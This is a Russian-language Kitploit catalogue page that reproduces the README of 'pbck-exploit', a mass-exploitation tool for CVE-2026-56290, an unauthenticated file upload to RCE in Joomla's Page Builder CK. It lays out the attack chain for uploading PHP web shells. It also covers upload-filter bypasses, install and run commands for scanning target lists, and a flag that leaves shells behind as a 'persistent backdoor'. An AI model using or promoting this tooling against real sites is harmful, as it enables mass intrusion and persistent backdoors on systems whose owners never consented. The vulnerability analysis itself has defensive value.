Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
pbck-exploit — 📤 Фреймворк массовой эксплуатации для CVE-2026-56290 — Page Builder CK Joomla неавторизованная загрузка файлов до RCE | Kitploit
Инструменты/GitHubGitHub/shinthink/pbck-exploit
РазведкаСканеры уязвимостейФреймворки для эксплойтовЭксплуатация веб-приложенийТестирование на ПроникновениеRed TeamingРазработка Полезной Нагрузки
GitHubshinthink/pbck-exploit

pbck-exploit

📤 Фреймворк массовой эксплуатации для CVE-2026-56290 — Page Builder CK Joomla неавторизованная загрузка файлов до RCE

Репозиторий
3353 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

PBCK-Exploit — CVE-2026-56290 Joomla Page Builder CK Exploit

Python CVE License

Discovery CSRF RCE Cleanup Live

Фреймворк массовой эксплуатации и валидации для Joomla Page Builder CK

Неаутентифицированная произвольная загрузка файлов → Удаленное выполнение кода



📑 Содержание

  • Обзор уязвимости
  • Затронутые версии
  • Возможности
  • Установка
  • Использование
  • Доказательство концепции
  • Техническое погружение
  • Методология обнаружения
  • Защита и смягчение
  • Отказ от ответственности
  • Ссылки

🔴 Обзор уязвимости

CVE-2026-56290 — это критическая уязвимость в Page Builder CK (com_pagebuilderck), популярном расширении для построения страниц Joomla. Метод контроллера browse.ajaxAddPicture принимает неаутентифицированные загрузки файлов с управляемым пользователем путем назначения, что позволяет злоумышленникам записывать произвольные PHP-файлы в веб-доступные каталоги.

Основная причина

// browse.php controller — NO authentication check
function ajaxAddPicture() {
    $input = JFactory::getApplication()->input;
    $file  = $input->files->get('file', null);   // ← user-controlled file
    $path  = trim($input->get('path', ''));       // ← user-controlled path, only trim()!
    // ... uploads file to $path without validating the destination
}

Параметр path проходит только trim() санитацию — никакого белого списка, проверки обхода каталогов или шлюза аутентификации. В сочетании с CSRF-токеном, который доступен публично на любой странице Joomla, злоумышленники могут удаленно загружать PHP-шеллы в любой каталог с правом записи.

Воздействие

ВекторСерьезностьВоздействие
Неаутентифицированная загрузка файла9.8 (Критический)Произвольное выполнение PHP-кода
Получение CSRF-токена5.3 (Средний)Обеспечивает цепочку загрузки
Раскрытие информации5.3 (Средний)Определение версии расширения

Цепочка атаки

1. ЗАПРОС главной страницы Joomla → получить CSRF-токен (hex32 + значение "1")
2. POST-запрос на загрузку файла   → task=browse.ajaxAddPicture&{token}=1
3. PHP-шелл помещается в           → media/com_pagebuilderck/gfonts/shell.php
4. GET-запрос к URL шелла          → код выполняется, RCE подтвержден
5. POST f=@file на шелл            → загрузка дополнительных инструментов
6. GET ?cleanup=1                   → шелл самоуничтожается

🟠 Затронутые версии

Версия Page Builder CKСтатусПримечания
3.1.1 и ниже🔴 УязвимоПодтверждена неаутентифицированная загрузка
3.4.10 и ниже🔴 УязвимоРасширенный диапазон по результатам анализа
3.5.10 и ниже🔴 УязвимоВозможно существуют исправленные варианты
> 3.5.10🟢 Возможно исправленоПроверить по manifest.xml

Примечание: Версия определяется из файла манифеста Joomla по адресу /administrator/manifests/files/com_pagebuilderck.xml. Если манифест недоступен, сканер по умолчанию считает цель потенциально уязвимой.


✨ Возможности

🔍 Разведка

  • Обнаружение Joomla — 2 фазы: HTML-отпечатки + зондирование панели администратора
  • Обнаружение PBCK — прямые зонды по путям + сопоставление HTML-шаблонов
  • Извлечение версии — парсинг manifest.xml + запасной вариант через регулярные выражения HTML
  • Получение CSRF-токена — извлечение токена с нескольких страниц (главная, логин, регистрация, админка)
  • Брутфорс конечных точек — 1000+ комбинаций task/param/path с ограничением по времени

💀 Эксплуатация

  • 40+ обходов расширений — смена регистра, нумерованные варианты, двойные расширения, трюки для Windows
  • 20+ целевых путей — каталоги расширений, доступные для записи каталоги Joomla, пути обхода
  • Валидация шелла — подтверждение выполнения PHP на основе токена
  • Автоочистка — шеллы самоуничтожаются после валидации (?cleanup=1)
  • Вывод в TXT в реальном времени — потокобезопасная запись результатов в файл
  • JSON-отчет — структурированный отчет с полной информацией по каждой цели

📦 Установка

# Клонирование репозитория
git clone https://github.com/shinthink/pbck-exploit.git
cd pbck-exploit

# Установка зависимостей
pip install -r requirements.txt

# Проверка
python cve_2026_56290.py --help

Требования

requests>=2.28.0
urllib3>=1.26.0

📖 Использование

Аргументы командной строки

CVE-2026-56290 — PageBuilderCK Unauthenticated RCE | Mass Exploit & Validator

  -t, --target        URL одиночной цели
  -f, --file          Файл с URL целей (по одному на строку, # для комментариев)
  -o, --output        Выходной TXT-файл в реальном времени (по умолчанию: cve-2026-56290_live.txt)
  --json              Путь к JSON-отчету (по умолчанию: cve-2026-56290_report.json)
  --threads           Количество параллельных потоков (по умолчанию: 20)
  --timeout           Таймаут запроса в секундах (по умолчанию: 15)
  --no-cleanup        Оставить шеллы на цели (постоянный бэкдор)
  -v, --verbose       Подробный вывод обнаружения конечных точек
  --known-endpoint    Пропустить обнаружение: task,file_param,folder_param

Основные примеры

# Одиночная цель
python cve_2026_56290.py -t https://target.com

# Массовое сканирование из файла
python cve_2026_56290.py -f targets.txt

# Пользовательский вывод + подробный
python cve_2026_56290.py -f targets.txt -o results.txt -v

# Оставить шеллы (постоянный бэкдор)
python cve_2026_56290.py -t https://target.com --no-cleanup

# Пропустить обнаружение с известной конечной точкой
python cve_2026_56290.py -t https://target.com --known-endpoint "browse.ajaxAddPicture,file,path"

Формат файла целей

# targets.txt
target-one.com
https://target-two.com/subdir
192.168.10.100
# комментарии и пустые строки игнорируются

🧪 Доказательство концепции

Сценарий 1: Массовое сканирование с выводом в реальном времени

$ python cve_2026_56290.py -f targets.txt -o live_results.txt
────────────────────────────────────────────────────────────
  CVE-2026-56290 | 5 целей | 20 потоков | очистка=да
  TXT в реальном времени: live_results.txt
  2026-07-04 15:30:00
────────────────────────────────────────────────────────────
Скачать инструмент